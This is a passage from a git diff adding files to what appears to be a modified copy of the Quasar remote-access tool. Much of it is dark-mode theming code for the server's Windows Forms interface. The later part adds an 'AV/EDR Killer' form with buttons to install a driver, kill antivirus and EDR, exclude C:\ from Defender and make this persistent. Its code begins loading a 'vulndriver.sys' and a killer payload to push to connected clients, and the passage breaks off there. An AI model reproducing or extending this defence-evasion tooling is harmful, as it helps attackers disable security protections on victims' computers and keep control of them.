(GraphicsPath pathBorderSmooth = GetFigurePath(rectBorderSmooth, Radius)) + using (GraphicsPath pathBorder = GetFigurePath(rectBorder, Radius - borderSize)) + using (Pen penBorderSmooth = new Pen(_Control.Parent.BackColor, smoothSize)) + using (Pen penBorder = new Pen((Color)borderColor, borderSize)) + { + //-Drawing + _Control.Region = new Region(pathBorderSmooth);//Set the rounded region of UserControl + if (Radius > 15) //Set the rounded region of TextBox component + { + using (GraphicsPath pathTxt = GetFigurePath(_Control.ClientRectangle, borderSize * 2)) + { + _Control.Region = new Region(pathTxt); + } + } + graph.SmoothingMode = SmoothingMode.AntiAlias; + penBorder.Alignment = System.Drawing.Drawing2D.PenAlignment.Center; + //if (isFocused) penBorder.Color = borderFocusColor; + + if (underlinedStyle) //Line Style + { + //Draw border smoothing + graph.DrawPath(penBorderSmooth, pathBorderSmooth); + //Draw border + graph.SmoothingMode = SmoothingMode.None; + graph.DrawLine(penBorder, 0, _Control.Height - 1, _Control.Width, _Control.Height - 1); + } + else //Normal Style + { + //Draw border smoothing + graph.DrawPath(penBorderSmooth, pathBorderSmooth); + //Draw border + graph.DrawPath(penBorder, pathBorder); + } + } + } + }; + } + } + catch { throw; } + } + + /// Colorea una imagen usando una Matrix de Color. + /// Imagen a Colorear + /// Color a Utilizar + public static Bitmap ChangeToColor(Bitmap bmp, Color c) + { + Bitmap bmp2 = new Bitmap(bmp.Width, bmp.Height); + using (Graphics g = Graphics.FromImage(bmp2)) + { + g.InterpolationMode = InterpolationMode.HighQualityBilinear; + g.CompositingQuality = CompositingQuality.HighQuality; + g.SmoothingMode = SmoothingMode.HighQuality; + + float tR = c.R / 255f; + float tG = c.G / 255f; + float tB = c.B / 255f; + + System.Drawing.Imaging.ColorMatrix colorMatrix = new System.Drawing.Imaging.ColorMatrix(new float[][] + { + new float[] { 1, 0, 0, 0, 0 }, + new float[] { 0, 1, 0, 0, 0 }, + new float[] { 0, 0, 1, 0, 0 }, + new float[] { 0, 0, 0, 1, 0 }, //<- not changing alpha + new float[] { tR, tG, tB, 0, 1 } + }); + + System.Drawing.Imaging.ImageAttributes attributes = new System.Drawing.Imaging.ImageAttributes(); + attributes.SetColorMatrix(colorMatrix); + + g.DrawImage(bmp, new Rectangle(0, 0, bmp.Width, bmp.Height), + 0, 0, bmp.Width, bmp.Height, GraphicsUnit.Pixel, attributes); + } + return bmp2; + } + public static Image ChangeToColor(Image bmp, Color c) => (Image)ChangeToColor((Bitmap)bmp, c); + + #endregion Public Methods + + #region Private Methods + + /// + /// handle hierarchical context menus (otherwise, only the root level gets themed) + /// + private void Tsdd_Opening(object sender, CancelEventArgs e) + { + ToolStripDropDown tsdd = sender as ToolStripDropDown; + if (tsdd == null) return; //should not occur + + foreach (ToolStripMenuItem toolStripMenuItem in tsdd.Items.OfType()) + { + toolStripMenuItem.DropDownOpening -= Tsmi_DropDownOpening; //just to make sure + toolStripMenuItem.DropDownOpening += Tsmi_DropDownOpening; + } + } + + /// + /// handle hierarchical context menus (otherwise, only the root level gets themed) + /// + private void Tsmi_DropDownOpening(object sender, EventArgs e) + { + ToolStripMenuItem tsmi = sender as ToolStripMenuItem; + if (tsmi == null) return; //should not occur + + if (tsmi.DropDown.Items.Count > 0) ThemeControl(tsmi.DropDown); + + //once processed, remove itself to prevent multiple executions (when user leaves and reenters the sub-menu) + tsmi.DropDownOpening -= Tsmi_DropDownOpening; + } + + /// Attemps to apply Window's Dark Style to the Control and all its childs. + /// + private static void ApplySystemDarkTheme(Control control = null, bool IsDarkMode = true) + { + /* + DWMWA_USE_IMMERSIVE_DARK_MODE: https://learn.microsoft.com/en-us/windows/win32/api/dwmapi/ne-dwmapi-dwmwindowattribute + + Use with DwmSetWindowAttribute. Allows the window frame for this window to be drawn in dark mode colors when the dark mode system setting is enabled. + For compatibility reasons, all windows default to light mode regardless of the system setting. + The pvAttribute parameter points to a value of type BOOL. TRUE to honor dark mode for the window, FALSE to always use light mode. + + This value is supported starting with Windows 11 Build 22000. + + SetWindowTheme: https://learn.microsoft.com/en-us/windows/win32/api/uxtheme/nf-uxtheme-setwindowtheme + Causes a window to use a different set of visual style information than its class normally uses. Fix for Scrollbars! + */ + int[] DarkModeOn = IsDarkMode ? new[] { 0x01 } : new[] { 0x00 }; //<- 1=True, 0=False + string Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + + SetWindowTheme(control.Handle, Mode, null); //DarkMode_Explorer, ClearMode_Explorer, DarkMode_CFD, DarkMode_ItemsView, + + if (DwmSetWindowAttribute(control.Handle, (int)DWMWINDOWATTRIBUTE.DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1, DarkModeOn, 4) != 0) + DwmSetWindowAttribute(control.Handle, (int)DWMWINDOWATTRIBUTE.DWMWA_USE_IMMERSIVE_DARK_MODE, DarkModeOn, 4); + + foreach (Control child in control.Controls) + { + if (child.Controls.Count != 0) + ApplySystemDarkTheme(child, IsDarkMode); + } + } + + private static bool IsWindows10orGreater() + { + if (WindowsVersion() >= 10) + return true; + else + return false; + } + + private static int WindowsVersion() + { + //for .Net4.8 and Minor + int result; + try + { + var reg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"); + string[] productName = reg.GetValue("ProductName").ToString().Split((char)32); + int.TryParse(productName[1], out result); + } + catch (Exception) + { + OperatingSystem os = Environment.OSVersion; + result = os.Version.Major; + } + + return result; + + //fixed .Net6 + //return System.Environment.OSVersion.Version.Major; + } + + private static Color GetReadableColor(Color backgroundColor) + { + // Calculate the relative luminance of the background color. + // Normalize values to 0-1 range first. + double normalizedR = backgroundColor.R / 255.0; + double normalizedG = backgroundColor.G / 255.0; + double normalizedB = backgroundColor.B / 255.0; + double luminance = 0.299 * normalizedR + 0.587 * normalizedG + 0.114 * normalizedB; + + // Choose a contrasting foreground color based on the luminance, + // with a slight bias towards lighter colors for better readability. + return luminance < 0.5 ? Color.FromArgb(182, 180, 215) : Color.FromArgb(34, 34, 34); // Dark gray for light backgrounds + } + + // For Rounded Corners: + private static GraphicsPath GetFigurePath(Rectangle rect, int radius) + { + GraphicsPath path = new GraphicsPath(); + float curveSize = radius * 2F; + + path.StartFigure(); + path.AddArc(rect.X, rect.Y, curveSize, curveSize, 180, 90); + path.AddArc(rect.Right - curveSize, rect.Y, curveSize, curveSize, 270, 90); + path.AddArc(rect.Right - curveSize, rect.Bottom - curveSize, curveSize, curveSize, 0, 90); + path.AddArc(rect.X, rect.Bottom - curveSize, curveSize, curveSize, 90, 90); + path.CloseFigure(); + return path; + } + + #endregion Private Methods + } + + /// Windows 10+ System Colors for Clear Color Mode. + public class OSThemeColors + { + public OSThemeColors() + { + } + + /// For the very back of the Window + public System.Drawing.Color Background { get; set; } = SystemColors.Control; + + /// For Borders around the Background + public System.Drawing.Color BackgroundDark { get; set; } = SystemColors.ControlDark; + + /// For hightlights over the Background + public System.Drawing.Color BackgroundLight { get; set; } = SystemColors.ControlLight; + + /// For Container above the Background + public System.Drawing.Color Surface { get; set; } = SystemColors.ControlLightLight; + + /// For Borders around the Surface + public System.Drawing.Color SurfaceDark { get; set; } = SystemColors.ControlLight; + + /// For Highligh over the Surface + public System.Drawing.Color SurfaceLight { get; set; } = Color.White; + + /// For Main Texts + public System.Drawing.Color TextActive { get; set; } = SystemColors.ControlText; + + /// For Inactive Texts + public System.Drawing.Color TextInactive { get; set; } = SystemColors.GrayText; + + /// For Hightligh Texts + public System.Drawing.Color TextInAccent { get; set; } = SystemColors.HighlightText; + + /// For the background of any Control + public System.Drawing.Color Control { get; set; } = SystemColors.ButtonFace; + + /// For Bordes of any Control + public System.Drawing.Color ControlDark { get; set; } = SystemColors.ButtonShadow; + + /// For Highlight elements in a Control + public System.Drawing.Color ControlLight { get; set; } = SystemColors.ButtonHighlight; + + /// Windows 10+ Chosen Accent Color + public System.Drawing.Color Accent { get; set; } = DarkModeCS.GetWindowsAccentColor(); + + public System.Drawing.Color AccentOpaque { get; set; } = DarkModeCS.GetWindowsAccentOpaqueColor(); + + public System.Drawing.Color AccentDark { get { return ControlPaint.Dark(Accent); } } + + public System.Drawing.Color AccentLight { get { return ControlPaint.Light(Accent); } } + + /// the color displayed most frequently across your app's screens and components. + public System.Drawing.Color Primary { get; set; } = SystemColors.Highlight; + + public System.Drawing.Color PrimaryDark { get { return ControlPaint.Dark(Primary); } } + + public System.Drawing.Color PrimaryLight { get { return ControlPaint.Light(Primary); } } + + /// to accent select parts of your UI. + public System.Drawing.Color Secondary { get; set; } = SystemColors.HotTrack; + + public System.Drawing.Color SecondaryDark { get { return ControlPaint.Dark(Secondary); } } + + public System.Drawing.Color SecondaryLight { get { return ControlPaint.Light(Secondary); } } + } + + /* Custom Renderers for Menus and ToolBars */ + public class MyRenderer : ToolStripProfessionalRenderer + { + public bool ColorizeIcons { get; set; } = true; + public OSThemeColors MyColors { get; set; } //<- Your Custom Colors Colection + + public MyRenderer(ProfessionalColorTable table, bool pColorizeIcons = true) : base(table) + { + ColorizeIcons = pColorizeIcons; + } + + private void DrawTitleBar(Graphics g, Rectangle rect) + { + // Assign the image for the grip. + //Image titlebarGrip = titleBarGripBmp; + + // Fill the titlebar. + // This produces the gradient and the rounded-corner effect. + //g.DrawLine(new Pen(titlebarColor1), rect.X, rect.Y, rect.X + rect.Width, rect.Y); + //g.DrawLine(new Pen(titlebarColor2), rect.X, rect.Y + 1, rect.X + rect.Width, rect.Y + 1); + //g.DrawLine(new Pen(titlebarColor3), rect.X, rect.Y + 2, rect.X + rect.Width, rect.Y + 2); + //g.DrawLine(new Pen(titlebarColor4), rect.X, rect.Y + 3, rect.X + rect.Width, rect.Y + 3); + //g.DrawLine(new Pen(titlebarColor5), rect.X, rect.Y + 4, rect.X + rect.Width, rect.Y + 4); + //g.DrawLine(new Pen(titlebarColor6), rect.X, rect.Y + 5, rect.X + rect.Width, rect.Y + 5); + //g.DrawLine(new Pen(titlebarColor7), rect.X, rect.Y + 6, rect.X + rect.Width, rect.Y + 6); + + // Center the titlebar grip. + //g.DrawImage( + // titlebarGrip, + // new Point(rect.X + ((rect.Width / 2) - (titlebarGrip.Width / 2)), + // rect.Y + 1)); + } + + // This method handles the RenderGrip event. + protected override void OnRenderGrip(ToolStripGripRenderEventArgs e) + { + DrawTitleBar( + e.Graphics, + new Rectangle(0, 0, e.ToolStrip.Width, 7)); + } + + // This method handles the RenderToolStripBorder event. + protected override void OnRenderToolStripBorder(ToolStripRenderEventArgs e) + { + DrawTitleBar( + e.Graphics, + new Rectangle(0, 0, e.ToolStrip.Width, 7)); + } + + // Background of the whole ToolBar Or MenuBar: + protected override void OnRenderToolStripBackground(ToolStripRenderEventArgs e) + { + e.ToolStrip.BackColor = MyColors.Background; + base.OnRenderToolStripBackground(e); + } + + // For Normal Buttons on a ToolBar: + protected override void OnRenderButtonBackground(ToolStripItemRenderEventArgs e) + { + Graphics g = e.Graphics; + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; + + Pen BordersPencil = new Pen(MyColors.Background); + + ToolStripButton button = e.Item as ToolStripButton; + if (button.Pressed || button.Checked) + { + gradientBegin = MyColors.Control; + gradientEnd = MyColors.Control; + } + else if (button.Selected) + { + gradientBegin = MyColors.Accent; + gradientEnd = MyColors.Accent; + } + + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + g.FillRectangle(b, bounds); + } + + e.Graphics.DrawRectangle( + BordersPencil, + bounds); + + g.DrawLine( + BordersPencil, + bounds.X, + bounds.Y, + bounds.Width - 1, + bounds.Y); + + g.DrawLine( + BordersPencil, + bounds.X, + bounds.Y, + bounds.X, + bounds.Height - 1); + + ToolStrip toolStrip = button.Owner; + + if (!(button.Owner.GetItemAt(button.Bounds.X, button.Bounds.Bottom + 1) is ToolStripButton nextItem)) + { + g.DrawLine( + BordersPencil, + bounds.X, + bounds.Height - 1, + bounds.X + bounds.Width - 1, + bounds.Height - 1); + } + } + + // For DropDown Buttons on a ToolBar: + protected override void OnRenderDropDownButtonBackground(ToolStripItemRenderEventArgs e) + { + Graphics g = e.Graphics; + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; + + Pen BordersPencil = new Pen(MyColors.Background); + + //1. Determine the colors to use: + if (e.Item.Pressed) + { + gradientBegin = MyColors.Control; + gradientEnd = MyColors.Control; + } + else if (e.Item.Selected) + { + gradientBegin = MyColors.Accent; + gradientEnd = MyColors.Accent; + } + + //2. Draw the Box around the Control + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + e.Graphics.FillRectangle(b, bounds); + } + + //3. Draws the Chevron: + + #region Chevron + + //int Padding = 2; //<- From the right side + //Size cSize = new Size(8, 4); //<- Size of the Chevron: 8x4 px + //Pen ChevronPen = new Pen(MyColors.TextInactive, 2); //<- Color and Border Width + //Point P1 = new Point(bounds.Width - (cSize.Width + Padding), (bounds.Height / 2) - (cSize.Height / 2)); + //Point P2 = new Point(bounds.Width - Padding, (bounds.Height / 2) - (cSize.Height / 2)); + //Point P3 = new Point(bounds.Width - (cSize.Width / 2 + Padding), (bounds.Height / 2) + (cSize.Height / 2)); + + //e.Graphics.DrawLine(ChevronPen, P1, P3); + //e.Graphics.DrawLine(ChevronPen, P2, P3); + + #endregion Chevron + } + + // For SplitButtons on a ToolBar: + protected override void OnRenderSplitButtonBackground(ToolStripItemRenderEventArgs e) + { + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; + + //1. Determine the colors to use: + if (e.Item.Pressed) + { + gradientBegin = MyColors.Control; + gradientEnd = MyColors.Control; + } + else if (e.Item.Selected) + { + gradientBegin = MyColors.Accent; + gradientEnd = MyColors.Accent; + } + + //2. Draw the Box around the Control + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + e.Graphics.FillRectangle(b, bounds); + } + + //3. Draws the Chevron: + + #region Chevron + + int Padding = 2; //<- From the right side + Size cSize = new Size(8, 4); //<- Size of the Chevron: 8x4 px + Pen ChevronPen = new Pen(MyColors.TextInactive, 2); //<- Color and Border Width + Point P1 = new Point(bounds.Width - (cSize.Width + Padding), (bounds.Height / 2) - (cSize.Height / 2)); + Point P2 = new Point(bounds.Width - Padding, (bounds.Height / 2) - (cSize.Height / 2)); + Point P3 = new Point(bounds.Width - (cSize.Width / 2 + Padding), (bounds.Height / 2) + (cSize.Height / 2)); + + e.Graphics.DrawLine(ChevronPen, P1, P3); + e.Graphics.DrawLine(ChevronPen, P2, P3); + + #endregion Chevron + } + + // For the Text Color of all Items: + protected override void OnRenderItemText(ToolStripItemTextRenderEventArgs e) + { + if (e.Item.Enabled) + { + if (e.TextColor == Color.Black || e.TextColor == Color.White) + { + e.TextColor = MyColors.TextActive; + } + } + else + { + if (e.TextColor == Color.Black || e.TextColor == Color.White) + { + e.TextColor = MyColors.TextInactive; + } + } + base.OnRenderItemText(e); + } + + // Fix for CS0184: The given expression is never of the provided ('ComboBox') type + // The issue occurs because `e.Item` is of type `ToolStripItem`, which cannot be a `ComboBox`. + // Instead, we should check for `ToolStripComboBox`, which is the correct type for combo boxes in a ToolStrip. + + protected override void OnRenderItemBackground(ToolStripItemRenderEventArgs e) + { + base.OnRenderItemBackground(e); + + // Corrected type check from ComboBox to ToolStripComboBox + if (e.Item is ToolStripComboBox) + { + Rectangle rect = new Rectangle(Point.Empty, e.Item.Size); + e.Graphics.DrawRectangle(new Pen(MyColors.ControlLight, 1), rect); + } + } + + // For Menu Items BackColor: + protected override void OnRenderMenuItemBackground(ToolStripItemRenderEventArgs e) + { + Graphics g = e.Graphics; + Rectangle bounds = new Rectangle(Point.Empty, e.Item.Size); + + Color gradientBegin = MyColors.Background; // Color.FromArgb(203, 225, 252); + Color gradientEnd = MyColors.Background; // Color.FromArgb(125, 165, 224); + + bool DrawIt = false; + var _menu = e.Item as ToolStripItem; + if (_menu.Pressed) + { + gradientBegin = MyColors.Control; // Color.FromArgb(254, 128, 62); + gradientEnd = MyColors.Control; // Color.FromArgb(255, 223, 154); + DrawIt = true; + } + else if (_menu.Selected) + { + gradientBegin = MyColors.Accent;// Color.FromArgb(255, 255, 222); + gradientEnd = MyColors.Accent; // Color.FromArgb(255, 203, 136); + DrawIt = true; + } + + if (DrawIt) + { + using (Brush b = new LinearGradientBrush( + bounds, + gradientBegin, + gradientEnd, + LinearGradientMode.Vertical)) + { + g.FillRectangle(b, bounds); + } + } + } + + // Re-Colors the Icon Images to a Clear color: + protected override void OnRenderItemImage(ToolStripItemImageRenderEventArgs e) + { + if (e.Item.GetType().FullName == "System.Windows.Forms.MdiControlStrip+ControlBoxMenuItem") + { + //Window Controls - Minimize, Maximize, Close button of a maximized MDI child windows + //are realized as ControlBoxMenuItem contained in the MenuStrip + //by default they would be painted black on a dark surface + //so to make them more visible, we paint them ourselves: + Image image = e.Image; + Color _ClearColor = e.Item.Enabled ? MyColors.TextActive : MyColors.SurfaceDark; + + using (Image adjustedImage = DarkModeCS.ChangeToColor(image, _ClearColor)) + { + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear; + e.Graphics.CompositingQuality = + CompositingQuality.AssumeLinear; //looks thinner and less fuzzy than HighQuality + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + e.Graphics.DrawImage(adjustedImage, e.ImageRectangle); + } + + return; + } + + if (ColorizeIcons && e.Image != null) + { + // Get the current icon + Image image = e.Image; + Color _ClearColor = e.Item.Enabled ? MyColors.TextInactive : MyColors.SurfaceDark; + + // Create a new image with the desired color adjustments + using (Image adjustedImage = DarkModeCS.ChangeToColor(image, _ClearColor)) + { + e.Graphics.InterpolationMode = InterpolationMode.HighQualityBilinear; + e.Graphics.CompositingQuality = CompositingQuality.HighQuality; + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + e.Graphics.DrawImage(adjustedImage, e.ImageRectangle); + } + } + else + { + base.OnRenderItemImage(e); + } + } + } + + public class CustomColorTable : ProfessionalColorTable + { + public OSThemeColors Colors { get; set; } + + public CustomColorTable(OSThemeColors _Colors) + { + Colors = _Colors; + base.UseSystemColors = false; + } + + public override Color ImageMarginGradientBegin + { + get { return Colors.Background; } + } + + public override Color ImageMarginGradientMiddle + { + get { return Colors.Background; } + } + + public override Color ImageMarginGradientEnd + { + get { return Colors.Background; } + } + } + + /// + /// Stores additional info related to the Controls + /// + public class ControlStatusStorage + { + /// + /// Storage for the data. ConditionalWeakTable ensures there are no unnecessary references left, preventing garbage collection. + /// + private readonly ConditionalWeakTable _controlsProcessed = new ConditionalWeakTable(); + + /// + /// Registers the Control as processed. Prevents applying theme to the Control. + /// Call it before applying the theme to your Form (or to any other Control containing (directly or indirectly) this Control) + /// + public void ExcludeFromProcessing(Control control) + { + _controlsProcessed.Remove(control); + _controlsProcessed.Add(control, new ControlStatusInfo() { IsExcluded = true }); + } + + /// + /// Gets the additional info associated with a Control + /// + /// a ControlStatusInfo object if the control has been already processed or marked for exclusion, null otherwise + public ControlStatusInfo GetControlStatusInfo(Control control) + { + _controlsProcessed.TryGetValue(control, out ControlStatusInfo info); + return info; + } + + public void RegisterProcessedControl(Control control, bool isDarkMode) + { + _controlsProcessed.Add(control, + new ControlStatusInfo() { IsExcluded = false, LastThemeAppliedIsDark = isDarkMode }); + } + } + + /// + /// Additional information related to the Controls + /// + public class ControlStatusInfo + { + /// + /// true if the user wants to skip theming the Control + /// + public bool IsExcluded { get; set; } + + /// + /// whether the last theme applied was dark + /// + public bool LastThemeAppliedIsDark { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs new file mode 100755 index 0000000..b8a5fec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/DarkMode/DarkModeManager.cs @@ -0,0 +1,43 @@ +using DarkModeForms; +using Quasar.Server.Models; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Quasar.Server.Forms.DarkMode +{ + public class DarkModeManager + { + private static readonly DarkModeCS.DisplayMode lightMode = DarkModeCS.DisplayMode.ClearMode; + private static readonly DarkModeCS.DisplayMode darkMode = DarkModeCS.DisplayMode.DarkMode; + + [DllImport("dwmapi.dll")] + private static extern int DwmSetWindowAttribute(IntPtr hwnd, int dwAttribute, ref int pvAttribute, int cbAttribute); + + private const int DWMWA_BORDER_COLOR = 34; // DWM attribute for border color + + public static void ApplyDarkMode(Form form) + { + bool isDarkModeChecked = Settings.DarkMode; + + DarkModeCS darkModeCS = new DarkModeCS(form) + { + ColorMode = isDarkModeChecked ? darkMode : lightMode, + ColorizeIcons = false, + }; + + // Manually call ApplyTheme since we're already in Form.Load + darkModeCS.ApplyTheme(isDarkModeChecked); + + Color borderColor = isDarkModeChecked ? Color.DimGray : Color.DimGray; + SetBorderColor(form, borderColor); + } + + private static void SetBorderColor(Form form, Color color) + { + int colorValue = color.R | (color.G << 8) | (color.B << 16); + DwmSetWindowAttribute(form.Handle, DWMWA_BORDER_COLOR, ref colorValue, sizeof(int)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs new file mode 100755 index 0000000..69b3eda --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.Designer.cs @@ -0,0 +1,162 @@ +namespace Quasar.Server.Forms +{ + partial class FrmAVKiller + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.btnCheckDriver = new System.Windows.Forms.Button(); + this.btnInstallDriver = new System.Windows.Forms.Button(); + this.btnKillAVEDR = new System.Windows.Forms.Button(); + this.btnStopKiller = new System.Windows.Forms.Button(); + this.btnExcludeCDrive = new System.Windows.Forms.Button(); + this.chkMakePersistent = new System.Windows.Forms.CheckBox(); + this.txtLog = new System.Windows.Forms.TextBox(); + this.lblLog = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // btnCheckDriver + // + this.btnCheckDriver.Location = new System.Drawing.Point(16, 15); + this.btnCheckDriver.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnCheckDriver.Name = "btnCheckDriver"; + this.btnCheckDriver.Size = new System.Drawing.Size(880, 43); + this.btnCheckDriver.TabIndex = 0; + this.btnCheckDriver.Text = "Check Driver"; + this.btnCheckDriver.UseVisualStyleBackColor = true; + this.btnCheckDriver.Click += new System.EventHandler(this.btnCheckDriver_Click); + // + // btnInstallDriver + // + this.btnInstallDriver.Location = new System.Drawing.Point(16, 65); + this.btnInstallDriver.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnInstallDriver.Name = "btnInstallDriver"; + this.btnInstallDriver.Size = new System.Drawing.Size(880, 43); + this.btnInstallDriver.TabIndex = 1; + this.btnInstallDriver.Text = "Install Driver"; + this.btnInstallDriver.UseVisualStyleBackColor = true; + this.btnInstallDriver.Click += new System.EventHandler(this.btnInstallDriver_Click); + // + // btnKillAVEDR + // + this.btnKillAVEDR.BackColor = System.Drawing.Color.Transparent; + this.btnKillAVEDR.ForeColor = System.Drawing.Color.White; + this.btnKillAVEDR.Location = new System.Drawing.Point(16, 116); + this.btnKillAVEDR.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnKillAVEDR.Name = "btnKillAVEDR"; + this.btnKillAVEDR.Size = new System.Drawing.Size(287, 43); + this.btnKillAVEDR.TabIndex = 2; + this.btnKillAVEDR.Text = "Kill AV/EDR"; + this.btnKillAVEDR.UseVisualStyleBackColor = false; + this.btnKillAVEDR.Click += new System.EventHandler(this.btnKillAVEDR_Click); + // + // btnStopKiller + // + this.btnStopKiller.BackColor = System.Drawing.Color.Transparent; + this.btnStopKiller.Enabled = false; + this.btnStopKiller.ForeColor = System.Drawing.Color.White; + this.btnStopKiller.Location = new System.Drawing.Point(316, 116); + this.btnStopKiller.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnStopKiller.Name = "btnStopKiller"; + this.btnStopKiller.Size = new System.Drawing.Size(287, 43); + this.btnStopKiller.TabIndex = 3; + this.btnStopKiller.Text = "Stop Killer"; + this.btnStopKiller.UseVisualStyleBackColor = false; + this.btnStopKiller.Click += new System.EventHandler(this.btnStopKiller_Click); + // + // btnExcludeCDrive + // + this.btnExcludeCDrive.BackColor = System.Drawing.Color.Transparent; + this.btnExcludeCDrive.ForeColor = System.Drawing.Color.White; + this.btnExcludeCDrive.Location = new System.Drawing.Point(609, 116); + this.btnExcludeCDrive.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnExcludeCDrive.Name = "btnExcludeCDrive"; + this.btnExcludeCDrive.Size = new System.Drawing.Size(287, 43); + this.btnExcludeCDrive.TabIndex = 7; + this.btnExcludeCDrive.Text = "Exclude C:\\ from Defender"; + this.btnExcludeCDrive.UseVisualStyleBackColor = false; + this.btnExcludeCDrive.Click += new System.EventHandler(this.btnExcludeCDrive_Click); + // + // chkMakePersistent + // + this.chkMakePersistent.AutoSize = true; + this.chkMakePersistent.Location = new System.Drawing.Point(16, 172); + this.chkMakePersistent.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.chkMakePersistent.Name = "chkMakePersistent"; + this.chkMakePersistent.Size = new System.Drawing.Size(125, 20); + this.chkMakePersistent.TabIndex = 4; + this.chkMakePersistent.Text = "Make Persistent"; + this.chkMakePersistent.UseVisualStyleBackColor = true; + this.chkMakePersistent.CheckedChanged += new System.EventHandler(this.chkMakePersistent_CheckedChanged); + // + // txtLog + // + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(16, 228); + this.txtLog.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtLog.Multiline = true; + this.txtLog.Name = "txtLog"; + this.txtLog.ReadOnly = true; + this.txtLog.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtLog.Size = new System.Drawing.Size(879, 307); + this.txtLog.TabIndex = 5; + // + // lblLog + // + this.lblLog.AutoSize = true; + this.lblLog.Location = new System.Drawing.Point(16, 203); + this.lblLog.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblLog.Name = "lblLog"; + this.lblLog.Size = new System.Drawing.Size(113, 16); + this.lblLog.TabIndex = 6; + this.lblLog.Text = "Command Output:"; + // + // FrmAVKiller + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(912, 550); + this.Controls.Add(this.btnExcludeCDrive); + this.Controls.Add(this.lblLog); + this.Controls.Add(this.txtLog); + this.Controls.Add(this.chkMakePersistent); + this.Controls.Add(this.btnStopKiller); + this.Controls.Add(this.btnKillAVEDR); + this.Controls.Add(this.btnInstallDriver); + this.Controls.Add(this.btnCheckDriver); + this.ForeColor = System.Drawing.Color.White; + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MaximizeBox = false; + this.Name = "FrmAVKiller"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "AV/EDR Killer"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmAVKiller_FormClosing); + this.Load += new System.EventHandler(this.FrmAVKiller_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + private System.Windows.Forms.Button btnCheckDriver; + private System.Windows.Forms.Button btnInstallDriver; + private System.Windows.Forms.Button btnKillAVEDR; + private System.Windows.Forms.Button btnStopKiller; + private System.Windows.Forms.Button btnExcludeCDrive; + private System.Windows.Forms.CheckBox chkMakePersistent; + private System.Windows.Forms.TextBox txtLog; + private System.Windows.Forms.Label lblLog; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs new file mode 100755 index 0000000..9e3fdc4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAVKiller.cs @@ -0,0 +1,298 @@ +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmAVKiller : Form + { + private readonly Client _client; + private readonly AVKillerHandler _handler; + private byte[] _driverData; + private byte[] _killerData; + + public FrmAVKiller(Client client) + { + _client = client; + InitializeComponent(); + + _handler = new AVKillerHandler(client); + _handler.OutputReceived += Handler_OutputReceived; + MessageHandler.Register(_handler); + + // Load driver and killer files + LoadResources(); + } + + private void LoadResources() + { + try + { + string driverPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Resources", "vulndriver.sys"); + string killerPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, 